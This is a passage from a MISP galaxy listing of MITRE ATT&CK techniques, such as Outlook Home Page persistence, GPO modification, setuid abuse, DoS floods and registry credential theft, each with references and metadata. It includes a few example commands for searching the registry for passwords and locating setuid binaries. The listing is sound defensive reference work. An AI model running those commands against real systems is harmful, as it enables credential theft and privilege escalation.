- https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1134.004 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Process: OS API Execution', 'Process: Process Creation', 'Process: Process Metadata'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Outlook Home Page - T1137.004
Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)
Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)
Internal MISP references
UUID bf147104-abf9-4221-95d1-e81585859441 which can be used as unique global reference for Outlook Home Page - T1137.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1137/004 - webarchive
- https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack - webarchive
- https://github.com/sensepost/notruler - webarchive
- https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1137.004 |
| kill_chain | ['attack-Windows:persistence', 'attack-Office-365:persistence'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'Office 365'] |
Related clusters
To see the related clusters, click here.
Identify Business Tempo - T1591.003
Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources.
Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)
Internal MISP references
UUID 2339cf19-8f1e-48f7-8a91-0262ba547b6f which can be used as unique global reference for Identify Business Tempo - T1591.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1591.003 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Domain Generation Algorithms - T1637.001
Adversaries may use Domain Generation Algorithms (DGAs) to procedurally generate domain names for uses such as command and control communication or malicious application distribution.(Citation: securelist rotexy 2018)
DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there could potentially be thousands of domains that malware can check for instructions.
Internal MISP references
UUID fd211238-f767-4599-8c0d-9dca36624626 which can be used as unique global reference for Domain Generation Algorithms - T1637.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1637.001 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Group Policy Modification - T1484.001
Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path \<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.
Malicious GPO modifications can be used to implement many other malicious behaviors such as Scheduled Task/Job, Disable or Modify Tools, Ingress Tool Transfer, Create Account, Service Execution, and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)
For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious Scheduled Task/Job by modifying GPO settings, in this case modifying <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)
Internal MISP references
UUID 5d2be8b9-d24c-4e98-83bf-2f5f79477163 which can be used as unique global reference for Group Policy Modification - T1484.001 in MISP communities and other software using the MISP galaxy
External references
- http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/ - webarchive
- http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ - webarchive
- https://adsecurity.org/?p=2716 - webarchive
- https://attack.mitre.org/techniques/T1484/001 - webarchive
- https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/ - webarchive
- https://wald0.com/?p=179 - webarchive
- https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf - webarchive
- https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1484.001 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Deletion', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Process Argument Spoofing - T1564.010
Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)
Adversaries may manipulate a process PEB to evade defenses. For example, Process Hollowing can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the Native API WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)
Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)
This behavior may also be combined with other tricks (such as Parent PID Spoofing) to manipulate or further evade process-based detections.
Internal MISP references
UUID ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1 which can be used as unique global reference for Process Argument Spoofing - T1564.010 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1564/010 - webarchive
- https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/ - webarchive
- https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/ - webarchive
- https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/ - webarchive
- https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb - webarchive
- https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html - webarchive
- https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1564.010 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Setuid and Setgid - T1548.001
An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.
Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. Linux and Mac File and Directory Permissions Modification). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.
Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a "shell escape" or other actions to bypass an execution environment with restricted permissions.
Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. File and Directory Discovery). The setuid and setguid bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)
Internal MISP references
UUID 6831414d-bb70-42b7-8030-d4e06b2660c9 which can be used as unique global reference for Setuid and Setgid - T1548.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1548.001 |
| kill_chain | ['attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'File: File Modification'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Direct Network Flood - T1498.001
Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.
Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)
Internal MISP references
UUID 0bda01d5-4c1d-4062-8ee2-6872334383c3 which can be used as unique global reference for Direct Network Flood - T1498.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1498/001 - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf - webarchive
- https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1498.001 |
| kill_chain | ['attack-Windows:impact', 'attack-Azure-AD:impact', 'attack-Office-365:impact', 'attack-SaaS:impact', 'attack-IaaS:impact', 'attack-Linux:impact', 'attack-macOS:impact', 'attack-Google-Workspace:impact'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
OS Exhaustion Flood - T1499.001
Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.
Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)
ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)
Internal MISP references
UUID 0df05477-c572-4ed6-88a9-47c581f548f7 which can be used as unique global reference for OS Exhaustion Flood - T1499.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1499/001 - webarchive
- https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf - webarchive
- https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/ - webarchive
- https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1499.001 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Domain Controller Authentication - T1556.001
Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.
Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: Skeleton Key). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)
Internal MISP references
UUID d4b96d2c-1032-4b22-9235-2b5b649d0605 which can be used as unique global reference for Domain Controller Authentication - T1556.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1556.001 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Windows:defense-evasion', 'attack-Windows:persistence'] |
| mitre_data_sources | ['File: File Modification', 'Logon Session: Logon Session Creation', 'Process: OS API Execution', 'Process: Process Access'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Stored Data Manipulation - T1565.001
Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Internal MISP references
UUID 1cfcb312-b8d7-47a4-b560-4b16cc677292 which can be used as unique global reference for Stored Data Manipulation - T1565.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1565.001 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact'] |
| mitre_data_sources | ['File: File Creation', 'File: File Deletion', 'File: File Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Social Media Accounts - T1585.001
Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)
For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.
Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).
Internal MISP references
UUID b1ccd744-3f78-4a0e-9bb2-2002057f7928 which can be used as unique global reference for Social Media Accounts - T1585.001 in MISP communities and other software using the MISP galaxy
External references
- http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf - webarchive
- https://attack.mitre.org/techniques/T1585/001 - webarchive
- https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1585.001 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Persona: Social Media'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Scanning IP Blocks - T1595.001
Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.
Adversaries may scan IP blocks in order to Gather Victim Network Information, such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).
Internal MISP references
UUID db8f5003-3b20-48f0-9b76-123e44208120 which can be used as unique global reference for Scanning IP Blocks - T1595.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1595.001 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Component Object Model - T1559.001
Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by Remote Services such as Distributed Component Object Model (DCOM).(Citation: Fireeye Hunting COM June 2019)
Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic.(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)
Internal MISP references
UUID 2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64 which can be used as unique global reference for Component Object Model - T1559.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1559/001 - webarchive
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ - webarchive
- https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ - webarchive
- https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx - webarchive
- https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1559.001 |
| kill_chain | ['attack-Windows:execution'] |
| mitre_data_sources | ['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Social Media Accounts - T1586.001
Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. Social Media Accounts), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.
A variety of methods exist for compromising social media accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.
Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.
Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).
Internal MISP references
UUID 274770e0-2612-4ccf-a678-ef8e7bad365d which can be used as unique global reference for Social Media Accounts - T1586.001 in MISP communities and other software using the MISP galaxy
External references
- http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf - webarchive
- https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/ - webarchive
- https://attack.mitre.org/techniques/T1586/001 - webarchive
- https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1586.001 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Persona: Social Media'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Fast Flux DNS - T1568.001
Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)
The simplest, "single-flux" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)
In contrast, the "double-flux" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.
Internal MISP references
UUID 29ba5a15-3b7b-4732-b817-65ea8f6468e6 which can be used as unique global reference for Fast Flux DNS - T1568.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1568/001 - webarchive
- https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref - webarchive
- https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref - webarchive
- https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1568.001 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Threat Intel Vendors - T1597.001
Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)
Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application or External Remote Services).
Internal MISP references
UUID 51e54974-a541-4fb6-a61b-0518e4c6de41 which can be used as unique global reference for Threat Intel Vendors - T1597.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1597.001 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Credentials in Registry - T1552.002
Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)
- Local Machine Hive:
reg query HKLM /f password /t REG_SZ /s - Current User Hive:
reg query HKCU /f password /t REG_SZ /s
Internal MISP references
UUID 341e222a-a6e3-4f6f-b69c-831d792b1580 which can be used as unique global reference for Credentials in Registry - T1552.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1552.002 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Access'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Conceal Multimedia Files - T1628.003
Adversaries may attempt to hide multimedia files from the user. By doing so, adversaries may conceal captured files, such as pictures, videos and/or screenshots, then later exfiltrate those files.
Specific to Android devices, if the .nomedia file is present in a folder, multimedia files in that folder will not be visible to the user in the Gallery application. Additionally, other applications are asked not to scan the folder with the .nomedia file, effectively making the folder appear invisible to the user.
This technique is often used by stalkerware and spyware applications.
Internal MISP references
UUID ea132c68-b518-4478-ae8d-1763cda26ee3 which can be used as unique global reference for Conceal Multimedia Files - T1628.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1628.003 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Service Exhaustion Flood - T1499.002
Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.
One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)
Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)
Internal MISP references
UUID 38eb0c22-6caf-46ce-8869-5964bd735858 which can be used as unique global reference for Service Exhaustion Flood - T1499.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1499/002 - webarchive
- https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf - webarchive
- https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/ - webarchive
- https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1499.002 |
| kill_chain | ['attack-Windows:impact', 'attack-Azure-AD:impact', 'attack-Office-365:impact', 'attack-SaaS:impact', 'attack-IaaS:impact', 'attack-Linux:impact', 'attack-macOS:impact', 'attack-Google-Workspace:impact'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Password Filter DLL - T1556.002
Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.
